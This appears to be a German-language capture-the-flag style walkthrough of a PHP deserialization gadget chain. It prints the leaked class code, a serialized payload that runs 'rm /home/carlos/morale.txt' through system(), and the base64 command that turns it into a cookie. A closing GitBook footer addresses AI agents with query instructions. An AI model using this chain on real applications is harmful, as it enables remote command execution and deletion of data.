> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md).

# Benutzerdefinierte Zeichenfolge für eine PHP-Deserialisierungs-Gadget-Kette

### Entwicklung einer benutzerdefinierten Gadget-Kette für die PHP-Deserialisierung

Die Anwendung speichert die Sitzung in einer serialisierten **Cookie + in Base64 kodiert**. Während der Deserialisierung einige **magische Methoden** automatisch ausgeführt werden (insbesondere `__wakeup()`), wodurch der Weg für eine Gadget-Kette zur Ausführung von Befehlen geöffnet wird.

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:\"User\":2:{s:8:\"username\";s:6:\"wiener\";s:12:\"access_token\";s:32:\"r9zarbq7vgrlku65u7rowsyop83xikhc\";}
```

{% endcode %}

Der folgende Kommentar wird bereitgestellt:

```html
    <!-- TODO: Überarbeiten, sobald /cgi-bin/libs/CustomTemplate.php aktualisiert wurde -->
```

<figure><img src="/files/ea47f2e6021342dd42b6866c591240b1d2e460ef" alt=""><figcaption></figcaption></figure>

Datei lesbar mit /\~

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) Code-Analyse (`CustomTemplate.php~` Sicherungsdatei)

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos fand es cool, eine Funktion zu haben, die an zwei Stellen aufgerufen wird... Was für ein Genie
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, woran hast du bei diesen Beschreibungen gedacht? Bitte überarbeiten!
        $this->HTML_DESC = '<p>Dieses Produkt ist in HTML <blink>SUPER</blink> cool</p>';
        $this->TEXT_DESC = 'Dieses Produkt ist im Text cool';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### Automatischer Eingabepunkt: `CustomTemplate::__wakeup()`

* Während `unserialize()`, ruft PHP automatisch `__wakeup()`.
* Hier, `__wakeup()` ruft auf `build_product()`.

#### Weitergabe an `Product`

`build_product()` ergibt:

* `new Product($this->default_desc_type, $this->desc)`

Und in `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

Also **versucht der Code, auf eine dynamische Eigenschaft zuzugreifen** auf dem `$desc` Objekt, mit `$default_desc_type` als steuerbarem Wert.

#### Entscheidendes Gadget: `DefaultMap::__get($name)`

Wenn `$desc` ist ein `DefaultMap` Objekt:

* es hat keine echte Eigenschaft namens `HTML_DESC` / `TEXT_DESC` / oder andere auferlegte Kette,
* dann löst PHP aus `__get($name)`,
* `__get()` bewirkt: `call_user_func($this->callback, $name)`.

Wenn `callback = "system"` gesetzt ist, ist das Ergebnis `system($name)`.

#### 2) Ziel der Kette

Ausführen:

* `system("rm /home/carlos/morale.txt")`

#### 3) Aufbau der Kette (logisch)

Erstelle ein Objekt:

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/ (dies wird der Eigenschaftsname von `DefaultMap`, sodass das an `system`)
* `CustomTemplate->desc` = **DefaultMap-Objekt**
* `DefaultMap->callback` = **"system"**

Abgeleitet aus der Deserialisierung:

1. `unserialize()` → ruft `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` bewirkt `$desc->$default_desc_type`
4. `$desc` ist `DefaultMap` und die Eigenschaft nicht existiert → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → führt den Befehl aus

#### 4) Serialisierte PHP-Payload (Achtung auf die Längen)

Serialisierte Payload:

```json
O:14:\"CustomTemplate\":2:{s:17:\"default_desc_type\";s:26:\"rm /home/carlos/morale.txt\";s:4:\"desc\";O:10:\"DefaultMap\":1:{s:8:\"callback\";s:6:\"system\";}}
```

#### Base64-Kodierung für das Cookie

Befehl:

```bash
echo 'O:14:\"CustomTemplate\":2:{s:17:\"default_desc_type\";s:26:\"rm /home/carlos/morale.txt\";s:4:\"desc\";O:10:\"DefaultMap\":1:{s:8:\"callback\";s:6:\"system\";}}' | base64 -w 0 ; echo
```

<figure><img src="/files/73401a7b6707af04d5461ac06812e3863feba417" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
